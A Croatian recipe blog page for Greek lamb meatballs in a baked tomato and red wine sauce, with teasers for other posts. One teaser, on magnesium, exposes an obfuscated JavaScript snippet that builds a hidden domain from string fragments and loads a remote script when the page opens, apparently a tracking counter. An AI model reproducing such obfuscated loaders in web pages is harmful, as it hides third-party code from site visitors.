GRČKE MESNE OKRUGLICE





Grčke mesne okruglice 



Mirisi Mediterana u ovom jelu dolaze iz kombinacije sočne janjetine i aromatičnog origana, dok feta i pinjoli dodaju završni sloj okusa i teksture. Grčke janjeće okruglice pripremaju se u bogatom umaku od rajčice i crnog vina koji se polako krčka u pećnici, zbog čega meso ostaje izuzetno mekano i sočno.

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>


Grčke mesne okruglice 


Sastojci:

Za umak

  • 60 ml maslinova ulja
  • 400 g sjeckane rajčice iz konzerve
  • 600 ml pasirane rajčice
  • 200 ml crnog vina
  • 2 ½ čajne žličice mljevenog cimeta
  • 1 ½ čajna žličica sušenih čili pahuljica
  • 4 žlice meda
  • 2 žlice svježeg origana, sitno sjeckanog
  • sol
  • svježe mljeveni crni papar

Za mesne okruglice

  • 400 g mljevene janjetine
  • 200 g nemasne mljevene govedine
  • 1 manji crveni luk, sitno nasjeckan
  • 3 režnja češnjaka, protisnuta
  • 75 g grčkog jogurta (+ malo za posluživanje)
  • 75 g mekih krušnih mrvica
  • 1 žlica sušenog origana
  • sol
  • svježe mljeveni crni papar
  • 200 g feta sira
  • 25 g pinjola, lagano tostiranih
  • šaka svježeg peršina, nasjeckanog

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>


Priprema:

  1. U velikoj zdjeli pomiješajte mljevenu janjetinu i govedinu, crveni luk, češnjak, grčki jogurt, krušne mrvice i sušeni origano. Dodajte obilno svježe mljevenog papra i prstohvat soli.
  2. Sve dobro izmiješajte rukama dok ne dobijete ujednačenu smjesu, zatim oblikujte 18 većih mesnih okruglica. Stavite ih u hladnjak na 30 minuta kako bi zadržale oblik tijekom pečenja.
  3. Zagrijte pećnicu na 170 stupnjeva.
  4. U velikoj tavi zagrijte maslinovo ulje pa u nekoliko tura kratko zapecite okruglice sa svih strana dok ne dobiju lijepu zlatnosmeđu boju. Izvadite ih na tanjur.
  5. Iz tave uklonite višak masnoće, zatim dodajte sjeckane rajčice i pasiranu rajčicu. Pustite da kratko zakuha, pritom drvenom kuhačom sastružite sve s dna tave.
  6. Umak prelijte u dublju posudu za pečenje ili lim za pečenje. Umiješajte crno vino, cimet,pahuljice čili papričice, med i svježi origano te posolite i popaprite po ukusu.
  7. Umak rasporedite po posudi, a zatim u njega poslažite mesne okruglice. Posudu prekrijte aluminijskom folijom i pecite u pećnici 1 sat i 30 minuta.
  8. Povećajte temperaturu na 220 stupnjeva. Uklonite foliju i rasporedite fetu natrganu na veće komade. Vratite u pećnicu još 15 minuta, dok se sir lagano ne zapeče.
  9. Prije posluživanja jelo pospite svježim peršinom i tostiranim pinjolima. Po želji dodajte i nekoliko žlica grčkog jogurta.

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>





Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više